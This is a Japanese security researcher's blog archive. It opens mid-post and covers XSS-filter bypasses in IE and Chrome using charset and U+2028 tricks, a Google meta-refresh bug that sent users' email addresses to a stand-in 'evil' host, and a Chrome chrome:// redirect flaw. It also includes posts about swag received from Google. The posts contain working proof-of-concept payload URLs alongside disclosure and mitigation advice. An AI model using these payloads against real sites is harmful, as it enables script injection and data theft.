http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-iscii-as%3E%3Ciframe%20sr%EF%40c=javas%EF%40cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E

....

まだまだあります。
あと、無視されるバイト使ってませんが、UTF-7を使う方法もうまくいきました。

http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=utf-7%3E%2BADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E


対策

もちろんこのバイパス方法は、全くXSSの穴がないところにXSSフィルターが穴を作っている訳ではないので、普通のXSS対策ができていれば問題になりません。ただ、万が一XSSを作ってしまった時に、XSSフィルターにきちんと保護してもらうためにできることもあります。

もし、HTTPレスポンスヘッダでcharsetが指定されていればそっちが優先されるので、仮に本来のmetaタグのcharset指定がぶっ壊されてもこのバイパスはできなくなります。

http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3&charset=utf-8

あるいは、ヘッダに「X-XSS-Protection:1; mode=block」を指定すれば、XSSフィルターが反応した時に画面に「#」が表示されるのみとなり、ページの部分的な変更がされなくなります。

http://vulnerabledoma.in/xssable?xss=2&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
 

いずれXSSフィルター自体が改良されることを期待したいですね。



ちなみに、FirefoxのXSS保護などをしてくれるアドオンのNoScript、ChromeのXSS Auditorも同じような感じで抜けられました。既に両方報告済みで、NoScriptは2週間ほど前に対策されています。

http://noscript.net/changelog#2.3.2

NoScript開発者のGiorgio Maone氏は、僕が報告したその日のうちに修正したRC版をリリースしていました!素晴らしい対応であったことをここに書いておきたいと思います。

全然使われていないようなエンコーディングでもサポートしているだけでこうやって攻撃に応用できたりするので面白いですね。また何か見つけたら書きたいと思います。

2012/03/01

Googleのmetaリダイレクトに存在した問題

Googleに存在したメールアドレスを窃取できた問題について書きます。これは2011年1月30日に報告し、報告後数日以内に修正された問題です。 

こんなページがありました。

http://example.google.com/redirect?continue=http://example.google.com/xyz
<meta http-equiv="refresh" content="0;url=&#39;http://example.google.com/xyz&#39;">
<script>
location.replace("http://example.google.com/xyz")
</script>

continueというパラメータに指定されたURLをmetaタグとlocation.replace()にそれぞれ入れて、JavaScriptの有効/無効の設定に関わらずリダイレクトできるように書かれたページです。
Googleのサービス間を移動する時にこんなコードがよく使われています。

ここでは「"<>\」などの特殊な文字は適切に処理されており、指定できるURLも*.google.comに限られ、外部サイトやjavascriptスキームへリダイレクトするなどのことはできないようになっていました。

が、1つ意識されていない問題がありました。

Internet Explorer 6/7では、以下のようなmetaタグの指定で、http://evil/へリダイレクトします。
<meta http-equiv="refresh" content="0;url='http://good/'url='http://evil/'">


ポイントは後ろに指定されたURLがリダイレクト先として選択されるということです。これをさっきのコードにあてはめてみます。

http://example.google.com/redirect?continue=http://example.google.com/xyz%27url=%27http://evil/
<meta http-equiv="refresh" content="0;url=&#39;http://example.google.com/xyz&#39;url=&#39;http://evil/&#39;">
<script>
location.replace("http://example.google.com/xyz\x27url\x3d\x27http://evil/")
</script>

先ほど説明したIE6/7の挙動に従えば、metaタグは外部サイトへリダイレクトするよううまくはまっているように見えます。が、これ、はまっているとしても、JavaScriptが有効の場合はどうあがいてもlocation.replace()が優先してリダイレクトに使用されるので、これだけだとIE6/7でJavaScriptが無効の時にオープンリダイレクタになるというだけの話で(Googleはオープンリダイレクタを脆弱性とみなさないことを表明しているし)、ちょっとしょぼいです。


もっと悪用できないかあれこれ考えていると、別の箇所で似たようなコードがあり、リダイレクトする時に、ログインユーザーの場合はcontinueのURLにメールアドレスを付加してリダイレクトしているページを見つけました!
よって以下のようにすることでメールアドレスをhttp://evil/へ送信することができました。

http://example2.google.com/redirect?continue=http://example.google.com/xyz%27url=http://evil/
<meta http-equiv="refresh" content="0;url=&#39;http://example.google.com/xyz&#39;url=http://evil/?usr=victim@gmail.com&#39;">
<script>
location.replace("http://example.google.com/xyz\x27url\x3dhttp://evil/?usr=victim@gmail.com")
</script>

これでオープンリダイレクタ以上の問題にできました、やった!通常安全になることが多い、JavaScriptを無効にしているユーザーだけが影響を受ける点が面白いと思います。

Googleのこの場合は、metaタグのcontent属性のurl=に続くURLをシングルクォートで囲っているのに、continueのパラメータに含まれるシングルクォートを適切に処理しないままここへ挿入していたことになるので、メールアドレスを盗めるかどうかにかかわらず明らかに途中でリダイレクトURLを区切ってしまうバグがあった訳でしたが、url=の後のURLを引用符で囲っていない場合は、IE6/7において「;」(セミコロン)で同様に区切らすことができます。IE6/7では以下のようなタグで、http://evil/へリダイレクトします。
<meta http-equiv="refresh" content="0;url=http://good/;url=http://evil/">

このIE6/7の問題へ対処しつつmetaタグで動的に同じドメイン内に制限してリダイレクトさせるには、基本的なXSS対策("<>などの処理)と挿入されるURLを検証するだけでなく、metaタグに挿入されるセミコロンにもなんらかの処理をしなければならないことを、頭の片隅に覚えておくとよいかもしれません。最悪の場合、IE6の古いバージョンだとここへjavascriptスキームのURLを指定すると動くものがあり、XSSにもなり得ます。少なくとも手元のフルパッチのIE6sp3では動作しませんでしたが、過去のバージョンで動いていた記録が以下にあります。

 'Internet Explorer 6 Meta Refresh Parsing Weakness' - MARC
 http://marc.info/?l=bugtraq&m=112431630719702&w=2

 さらにマニアックな話をすると、単独のセミコロンを処理しても、エンコーディングとして不正なバイトを適切に処理していないと、まだオープンリダイレクタ(あるいは上の資料のXSS)になる恐れがあります。具体的には、「[不正バイト]&amp;url=http://....」のように文字参照に変換される文字(この場合「&」)を不正なバイトに喰わせて文字参照を破壊し、セミコロンを出現させることでできたりしますね!IE6なんかは、フルパッチかつUTF-8でも単独の[0xC0-0xFF]を生に通過させると後続の文字を侵します。

まぁ、IE6/7が悪いと思いますが、IE6/7がそのように動くということは受け止めなければなりません。
 ちなみにこのバグでは、報酬として$1337をもらっています。

追記

はせがわようすけさんがこの問題に対する考察と対策方法を書いて下さいました。「;」をパーセントエンコードすればいいやんって単純に思ってましたが、そうはいかない時もある訳で、リダイレクトを正常に機能させつつ、 この問題に対処するのは難しいですね…。一番手っとり早いのはmetaリダイレクトを動的に生成することを避けるか、IE6/7が爆発することだと思います。

 IE6/7の<meta refresh>では「;」で区切ってURLが複数指定できる問題
http://d.hatena.ne.jp/hasegawayosuke/20120301/p1

2012/02/23

CVE-2011-3879: chrome:// URLへのリダイレクト

Chrome Stable Release
http://googlechromereleases.blogspot.com/2011/10/chrome-stable-release.html
[95374] Low CVE-2011-3879: Avoid redirect to chrome scheme URIs. Credit to Masato Kinugawa.

去年の9月に報告し10月に修正された、Google Chromeの(一応)セキュリティバグです。
Google Chromeでは、「chrome:」という独自のスキームでブラウザの設定や履歴の閲覧などができるページが用意されています。通常このスキームにリダイレクトさせたりリンクしたりすることはできません。
ですから例えば、
<script>location.href="chrome://about/"</script>

とかやってもリダイレクトできないし、
<a href="chrome://about/">TEST</a>

とかやっても、クリックでとべないということです。
しかしながら、Location:ヘッダだけはなぜだか違っていました。
Location:chrome://about/

などとヘッダを設定することでリダイレクトさせることができていました。

これにより、chrome:// URL上に表示されるプライベートなコンテンツをフレームに埋め込み、サイトのコンテンツと見せかけたり、chrome:// URL上にXSS脆弱性があった場合に、脆弱な箇所へリダイレクトし、chrome:// URL上の情報を盗まれたりするなどの恐れがありました。(悪用方法として真っ先に思い付いたのがクリックジャッキングで設定の変更をさせることでしたが、ちゃんと制限が施されてあり、設定を変更しようとしても無反応でした。) 現在はリダイレクトできないよう修正されています。
 大した問題じゃないので賞金はもらえませんでしたが、Google Chromeのセキュリティバグを初めて見つけることができ、謝辞にも載せてもらえたので嬉しかったです!
今年はWebアプリケーションの問題よりもブラウザの問題を積極的につついていきたいと思っております。


2012/02/17

ブラウザのXSS保護機能をバイパスする

ChromeやSafariにはXSS Auditor、IE 8以上にはXSSフィルターという、XSSを検知してブロックする機能がそれぞれあります。
今回は、これを回避してみた記録です。

・Chromeでバイパス

はい!ついおととい報告したやつです!

XSS Auditor bypass with U+2028/2029
https://bugs.webkit.org/show_bug.cgi?id=78732


なぜかSafariではブロックされる(中の人も理由がわからないと言っていた)んだけど、Chromeでは動きます。以下で試してみてください。

 http://vulnerabledoma.in/char_test?charset=utf-8&xss=1&body=%3Cscript%3E//%E2%80%A8alert(1)%3C/script%3E

 http://vulnerabledoma.in/char_test?charset=utf-8&xss=1&body=%3Cscript%3E//%E2%80%A9alert(1)%3C/script%3E


JavaScriptのコメントがあるだけのスクリプトタグが挿入されても無害なので、「<script>//this is comment</script>」とかがURL中に含まれ、かつHTML内に挿入されてもXSS Auditorはこれに変更を加えずにスルーするようです。(別に特別スルーしなくてもいい気がするんだけど、無駄な検知をしたくないからかな

そんな中、U+2028/2029がJavaScript中で改行扱いになるのを考慮し忘れて、コメントアウトが続いてるものとみなしてこれまでスルーしてしまったかんじですね。非常にシンプル。

・IEでバイパス

IE8/9のXSSフィルターは、誤検知を減らすためにか、同じオリジンから同じオリジンへのページの移動は、通常ならばブロックするような、XSSと疑わしいリクエストであっても通過させるようです。Michael Brooks氏の以下の資料が参考になります。

 [PDF] Bypassing Internet Explorer's XSS Filter
 http://www.exploit-db.com/download_pdf/17875/


この資料によれば、同一オリジンにオープンリダイレクタか、自由にリンクを記述できるような機能があるなどすればXSSフィルターをバイパスできるとあります。

が、それってわざわざ探さなくても、資料の例のような典型的なrefrected XSSがあるのなら、自分自身をリンクにすればいいのではないか、というのが今これから書きたいことです。つまりこういうことです:

まず、XSSフィルターが有効な状態でこのページから以下のスクリプトが挿入されたリンクへアクセスすると、http://masatokinugawa.l0.cm/ から  http://vulnerabledoma.in/ へのアクセスになるので、XSSフィルターはきちんとブロックしてくれます。

http://vulnerabledoma.in/char_test?charset=utf-8&xss=1&body=%3Cscript%3Ealert%281%29%3C/script%3E

じゃあ、このXSSに脆弱な箇所自身に上のスクリプトを挿入したリンクを作ってみます。

http://vulnerabledoma.in/char_test?charset=utf-8&xss=1&body=%3Ca%20style=font-size:10in%3bposition:absolute%3btop:0%3bleft:0%20href=%22http://vulnerabledoma.in/char_test%3Fcharset%3Dutf-8%26xss%3D1%26body%3D%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E%22%3EXSS%3C/a%3E

URL内に、aタグがあっても、文字を大きくするなどのスタイルを設定しても、またスクリプトタグを2重にパーセントエンコードしたものを挿入しても、IEのXSSフィルターは許容するようです。リンク先のリンクをクリックすると、 スクリプトが動作するはずです。 なぜならこれは http://vulnerabledoma.in/ から http://vulnerabledoma.in/ へのアクセスとなるからです。これでonclickイベントに任意のスクリプトを仕込めるのと同等のXSS攻撃が成立することになります。やったぜ!


はい、こんな具合にXSS保護機能はユーザーを確実にXSSから保護してくれる訳ではありません。
これからも改良はされていくと思いますが、ブラウザの保護を過信せずにきちんとXSS対策しましょう!おわり!


追記

さっきもう1個思いついた!

XSSAuditor bypass with <svg> tags and html-entities.
https://bugs.webkit.org/show_bug.cgi?id=78836


追記2
IEのバイパス方法は既に書いておられる方がいたようです。 Thanks @80vul !

IE XSS Filter Bypass_ccSec  |  cc@insight-labs.org_百度空间
http://hi.baidu.com/_ccsec/blog/item/d878e609a8360bfa37d12223.html

2012/02/08

GoogleからChromebookをもらった

Tシャツとステッカーだけだと思ってたら、Googleからまたプレゼントが届きました!
大きい箱が海外から届いてなんだろうと思ってたら、中身はなんとChromebook!!!びっくりした!!!!パソコンが入ってると思わなかったからいい加減に持ってたよ!





さっそく使ってみようと思ったら、コンセントの形状が海外仕様で、繋げない…!1個余分に棒がついている…!専用のプラグを買ったら無事電源つきました。コンセントがそんなんだったし、キーボードにも日本語が書かれてなかったので、使う時も英語しか無理かなーと思っていたら、最初の設定で表示を日本語にできたし、普段通り日本語をタイプすることもできました。日本国内ではまだ正式に発売してないみたいだけど、すぐにでも日本で出せそうですね。
 Chromebookは一般的なパソコンにあるデスクトップ画面が無くて、Google Chrome上であらゆる操作をするかんじです。あれこれ触ってても意外にブラウザだけでも特に困りません。
まあ、たまにウェブアプリ(Chrome拡張含む)だけではかゆいところに手が届かないと感じることもあるのだけど、これからウェブアプリはどんどん進化・充実していくだろうし、ブラウザ以外で何かできない分Google Chromeの高速性を十分に発揮することができるのかなーと思いました。まだウェブアプリだけでは十分とは言えない状態、あるいはユーザーがウェブアプリだけで事を済まそうしていない状態で、一歩二歩先を勝手に行こうとするかんじが、Googleらしい試みだなーと思います。



大切に使います!
Thank you Google Security Team!

2012/01/27

GoogleからTシャツをもらった

Googleから、日頃脆弱性を報告しているご褒美に(?)かっこいいTシャツをもらいました!
Tシャツには、Googleに脆弱性を報告した時に自動返信で送られてくるメールの送信者になってる「security bot」君がプリントされてます。 こいつに脆弱性ありそう!!




 うらにはGoogleの文字が書かれています。あとステッカーももらいました。これもかっこいい!
1% OF THE SECURITY RESEARCHERS GET 99% OF THE CASH... I AM THE 1%!:)
嬉しいですね!

新しいブログを作った

これからはこっちに書きます。移転を機にアウトプットを増やしたいです。
はてなスター、好きなのでわざわざ設置しました。つけてね!